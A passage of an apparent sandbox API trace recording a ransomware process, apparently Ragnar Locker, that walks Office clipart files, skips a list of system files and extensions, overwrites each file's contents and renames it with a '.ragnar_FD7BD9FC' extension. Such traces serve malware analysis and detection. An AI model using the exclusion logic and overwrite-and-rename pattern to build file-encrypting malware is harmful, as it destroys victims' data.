lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.664] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.664] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.664] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf")) returned 0x20 [0091.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.664] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6496) returned 1 [0091.664] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1957, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.664] GetProcessHeap () returned 0x580000 [0091.664] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.664] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.666] VirtualAlloc (lpAddress=0x0, dwSize=0x1960, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.666] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.666] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.666] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1960, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1960, lpOverlapped=0x0) returned 1 [0091.666] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.667] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1960, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.667] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1960, lpOverlapped=0x0) returned 1 [0091.667] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1960, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.667] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.667] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1960, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.667] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.667] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.667] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.667] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.667] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.667] GetProcessHeap () returned 0x580000 [0091.667] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.667] CloseHandle (hObject=0xf4) returned 1 [0091.667] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF" [0091.667] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF.ragnar_FD7BD9FC" [0091.667] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.668] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1708, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00941_.WMF", cAlternateFileName="")) returned 1 [0091.668] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.668] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00941_.WMF" | out: lpString1="SO00941_.WMF") returned="SO00941_.WMF" [0091.668] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF") returned=".WMF" [0091.668] lstrcmpiW (lpString1="SO00941_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.668] lstrcmpiW (lpString1="SO00941_.WMF", lpString2="autorun.inf") returned 1 [0091.669] lstrcmpiW (lpString1="SO00941_.WMF", lpString2="boot.ini") returned 1 [0091.669] lstrcmpiW (lpString1="SO00941_.WMF", lpString2="bootfont.bin") returned 1 [0091.669] lstrcmpiW (lpString1="SO00941_.WMF", lpString2="bootsect.bak") returned 1 [0091.669] lstrcmpiW (lpString1="SO00941_.WMF", lpString2="bootmgr") returned 1 [0091.669] lstrcmpiW (lpString1="SO00941_.WMF", lpString2="bootmgr.efi") returned 1 [0091.669] lstrcmpiW (lpString1="SO00941_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.669] lstrcmpiW (lpString1="SO00941_.WMF", lpString2="desktop.ini") returned 1 [0091.669] lstrcmpiW (lpString1="SO00941_.WMF", lpString2="iconcache.db") returned 1 [0091.669] lstrcmpiW (lpString1="SO00941_.WMF", lpString2="ntldr") returned 1 [0091.669] lstrcmpiW (lpString1="SO00941_.WMF", lpString2="ntuser.dat") returned 1 [0091.669] lstrcmpiW (lpString1="SO00941_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.669] lstrcmpiW (lpString1="SO00941_.WMF", lpString2="ntuser.ini") returned 1 [0091.669] lstrcmpiW (lpString1="SO00941_.WMF", lpString2="thumbs.db") returned -1 [0091.669] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.669] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.669] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.669] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.669] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.669] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.669] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf")) returned 0x20 [0091.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.670] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5896) returned 1 [0091.670] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.670] GetProcessHeap () returned 0x580000 [0091.670] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.670] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.671] VirtualAlloc (lpAddress=0x0, dwSize=0x1708, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.671] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.672] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.672] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1708, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1708, lpOverlapped=0x0) returned 1 [0091.672] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.672] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1708, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.672] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1708, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1708, lpOverlapped=0x0) returned 1 [0091.672] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1708, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.673] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.673] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1708, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.673] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.673] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.673] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.673] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.673] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.673] GetProcessHeap () returned 0x580000 [0091.673] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.673] CloseHandle (hObject=0xf4) returned 1 [0091.673] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF" [0091.673] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF.ragnar_FD7BD9FC" [0091.673] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.674] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00942_.WMF", cAlternateFileName="")) returned 1 [0091.674] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.674] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00942_.WMF" | out: lpString1="SO00942_.WMF") returned="SO00942_.WMF" [0091.674] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF") returned=".WMF" [0091.674] lstrcmpiW (lpString1="SO00942_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.674] lstrcmpiW (lpString1="SO00942_.WMF", lpString2="autorun.inf") returned 1 [0091.674] lstrcmpiW (lpString1="SO00942_.WMF", lpString2="boot.ini") returned 1 [0091.674] lstrcmpiW (lpString1="SO00942_.WMF", lpString2="bootfont.bin") returned 1 [0091.674] lstrcmpiW (lpString1="SO00942_.WMF", lpString2="bootsect.bak") returned 1 [0091.674] lstrcmpiW (lpString1="SO00942_.WMF", lpString2="bootmgr") returned 1 [0091.674] lstrcmpiW (lpString1="SO00942_.WMF", lpString2="bootmgr.efi") returned 1 [0091.674] lstrcmpiW (lpString1="SO00942_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.674] lstrcmpiW (lpString1="SO00942_.WMF", lpString2="desktop.ini") returned 1 [0091.674] lstrcmpiW (lpString1="SO00942_.WMF", lpString2="iconcache.db") returned 1 [0091.674] lstrcmpiW (lpString1="SO00942_.WMF", lpString2="ntldr") returned 1 [0091.674] lstrcmpiW (lpString1="SO00942_.WMF", lpString2="ntuser.dat") returned 1 [0091.674] lstrcmpiW (lpString1="SO00942_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.674] lstrcmpiW (lpString1="SO00942_.WMF", lpString2="ntuser.ini") returned 1 [0091.675] lstrcmpiW (lpString1="SO00942_.WMF", lpString2="thumbs.db") returned -1 [0091.675] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.675] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.675] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.675] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.675] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.675] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.675] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf")) returned 0x20 [0091.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.675] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4708) returned 1 [0091.675] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x125b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.675] GetProcessHeap () returned 0x580000 [0091.675] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.675] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.677] VirtualAlloc (lpAddress=0x0, dwSize=0x1264, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.677] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.677] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.677] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1264, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1264, lpOverlapped=0x0) returned 1 [0091.677] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.678] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1264, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.678] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1264, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1264, lpOverlapped=0x0) returned 1 [0091.678] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1264, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.678] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.678] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.678] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.678] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.678] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.678] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.678] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.678] GetProcessHeap () returned 0x580000 [0091.678] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.678] CloseHandle (hObject=0xf4) returned 1 [0091.679] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF" [0091.679] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF.ragnar_FD7BD9FC" [0091.679] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.679] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d84, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00943_.WMF", cAlternateFileName="")) returned 1 [0091.679] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.679] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00943_.WMF" | out: lpString1="SO00943_.WMF") returned="SO00943_.WMF" [0091.679] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF") returned=".WMF" [0091.679] lstrcmpiW (lpString1="SO00943_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.679] lstrcmpiW (lpString1="SO00943_.WMF", lpString2="autorun.inf") returned 1 [0091.679] lstrcmpiW (lpString1="SO00943_.WMF", lpString2="boot.ini") returned 1 [0091.679] lstrcmpiW (lpString1="SO00943_.WMF", lpString2="bootfont.bin") returned 1 [0091.679] lstrcmpiW (lpString1="SO00943_.WMF", lpString2="bootsect.bak") returned 1 [0091.680] lstrcmpiW (lpString1="SO00943_.WMF", lpString2="bootmgr") returned 1 [0091.680] lstrcmpiW (lpString1="SO00943_.WMF", lpString2="bootmgr.efi") returned 1 [0091.680] lstrcmpiW (lpString1="SO00943_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.680] lstrcmpiW (lpString1="SO00943_.WMF", lpString2="desktop.ini") returned 1 [0091.680] lstrcmpiW (lpString1="SO00943_.WMF", lpString2="iconcache.db") returned 1 [0091.680] lstrcmpiW (lpString1="SO00943_.WMF", lpString2="ntldr") returned 1 [0091.680] lstrcmpiW (lpString1="SO00943_.WMF", lpString2="ntuser.dat") returned 1 [0091.680] lstrcmpiW (lpString1="SO00943_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.680] lstrcmpiW (lpString1="SO00943_.WMF", lpString2="ntuser.ini") returned 1 [0091.680] lstrcmpiW (lpString1="SO00943_.WMF", lpString2="thumbs.db") returned -1 [0091.680] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.680] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.680] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.680] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.680] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.680] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.680] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf")) returned 0x20 [0091.680] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.681] GetFileSizeEx (in: hFile=0xf4, 